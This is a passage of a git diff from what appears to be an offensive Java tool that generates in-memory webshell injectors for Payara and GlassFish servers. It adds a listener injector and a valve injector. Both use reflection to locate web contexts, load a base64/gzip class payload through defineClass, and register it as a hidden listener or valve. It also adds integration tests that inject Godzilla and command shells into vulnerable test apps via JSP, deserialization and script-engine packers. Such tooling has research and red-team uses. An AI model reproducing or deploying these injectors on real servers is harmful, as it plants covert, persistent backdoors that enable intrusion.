ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java new file mode 100644 index 00000000..86cfe4d3 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java @@ -0,0 +1,199 @@ +package com.reajason.javaweb.memsell.payara.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EventListener; +import java.util.List; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class PayaraListenerInjector { + Logger log = Logger.getLogger(PayaraListenerInjector.class.getName()); + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new PayaraListenerInjector(); + } + + public PayaraListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Object context = getFV(getFV(thread, "target"), "this$0"); + if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) { + contexts.add(context); + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return contexts; + } + + private Object getListener(Object context) throws Exception { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + try { + List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); + boolean isExist = false; + for (EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + isExist = true; + break; + } + } + if (!isExist) { + log.info("listener added successfully"); + eventListeners.add((EventListener) listener); + } else { + log.warning("listener already exists"); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraValveInjector.java similarity index 75% rename from generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/TomcatValveInjector.java rename to generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraValveInjector.java index eb52ef86..55f5798c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraValveInjector.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.glassfish.godzilla; +package com.reajason.javaweb.memsell.payara.injector; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; @@ -8,25 +8,19 @@ import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Arrays; -import java.util.HashMap; import java.util.List; import java.util.zip.GZIPInputStream; /** - * Date: 2022/11/01 - * Author: pen4uin - * Description: Tomcat Valve 注入器 - * Tested version: - * jdk v1.8.0_275 - * tomcat v8.5.83, v9.0.67 + * @author ReaJason */ -public class TomcatValveInjector { +public class PayaraValveInjector { static { - new TomcatValveInjector(); + new PayaraValveInjector(); } - public TomcatValveInjector() { + public PayaraValveInjector() { try { List contexts = getContext(); for (Object context : contexts) { @@ -34,7 +28,6 @@ public class TomcatValveInjector { if (valve == null) { continue; } - System.out.println(valve); injectValve(context, valve); } } catch (Exception e) { @@ -145,47 +138,20 @@ public class TomcatValveInjector { return "{{base64Str}}"; } - @SuppressWarnings("all") public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - Object context = null; try { for (Thread thread : threads) { - // 适配 v5/v6/7/8 - if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { - HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - // 原: map.get("localhost") - // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 - for (Object key : childrenMap.keySet()) { - HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); - // 原: context = children.get(""); - // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 - for (Object key1 : children.keySet()) { - context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - // 兼容 spring boot 2.x embedded tomcat - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } - // 适配 tomcat v9 - else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Object context = getFV(getFV(thread, "target"), "this$0"); + if (context != null) { contexts.add(context); } } } } catch (Exception e) { - throw new RuntimeException(e); + e.printStackTrace(); } return contexts; } diff --git a/integration-test/docker-compose/payara/docker-compose-5-201.yaml b/integration-test/docker-compose/payara/docker-compose-5-201.yaml new file mode 100644 index 00000000..04cfbd22 --- /dev/null +++ b/integration-test/docker-compose/payara/docker-compose-5-201.yaml @@ -0,0 +1,11 @@ +services: + payara5201: + image: reajason/payara:5.201 + container_name: payara5201 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/payara/docker-compose-5-2022-5.yaml b/integration-test/docker-compose/payara/docker-compose-5-2022-5.yaml new file mode 100644 index 00000000..f3295a8d --- /dev/null +++ b/integration-test/docker-compose/payara/docker-compose-5-2022-5.yaml @@ -0,0 +1,12 @@ +services: + payara520225: + image: reajason/payara:5.2022.5 + container_name: payara520225 + ports: + - "8080:8080" + - "5005:5005" + - "4848:4848" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/payara/docker-compose-6-2022-2.yaml b/integration-test/docker-compose/payara/docker-compose-6-2022-2.yaml new file mode 100644 index 00000000..6c536c2d --- /dev/null +++ b/integration-test/docker-compose/payara/docker-compose-6-2022-2.yaml @@ -0,0 +1,13 @@ +services: + payara620222: + image: reajason/payara:6.2022.2-jdk11 + container_name: payara620222 + ports: + - "8080:8080" + - "8081:8081" + - "4848:4848" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 + volumes: + - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java index ba3067b0..99908a9a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java @@ -11,7 +11,7 @@ public class DoesNotContainExceptionMatcher extends TypeSafeMatcher { @Override protected boolean matchesSafely(String logs) { - return !logs.contains("Caused by:"); + return !logs.contains("Exception: "); } @Override diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 31a66f11..38271336 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -38,7 +38,7 @@ public class GlassFish3ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .waitingFor(Wait.forLogMessage(".*(JMXService|deployed).*", 1)) .withExposedPorts(8080); @BeforeAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index 58abcc6a..1ce98f85 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -38,7 +38,7 @@ public class GlassFish4ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .waitingFor(Wait.forLogMessage(".*(JMXService|deployed).*", 1)) .withExposedPorts(8080); @BeforeAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java new file mode 100644 index 00000000..20497473 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -0,0 +1,77 @@ +package com.reajason.javaweb.integration.payara; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.glassfish.GlassFishShell; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Payara5201ContainerTest { + public static final String imageName = "reajason/payara:5.201"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java new file mode 100644 index 00000000..811546ed --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.payara; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memsell.payara.PayaraShell; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Payara520225ContainerTest { + public static final String imageName = "reajason/payara:5.2022.5"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), +// arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // java.lang.NoClassDefFoundError: javax/crypto/Cipher +// arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java new file mode 100644 index 00000000..ebf425ec --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.integration.payara; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memsell.payara.PayaraShell; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Payara620222ContainerTest { + public static final String imageName = "reajason/payara:6.2022.2-jdk11"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), +// arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // java.lang.NoClassDefFoundError: javax/crypto/Cipher +// arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer); + } +}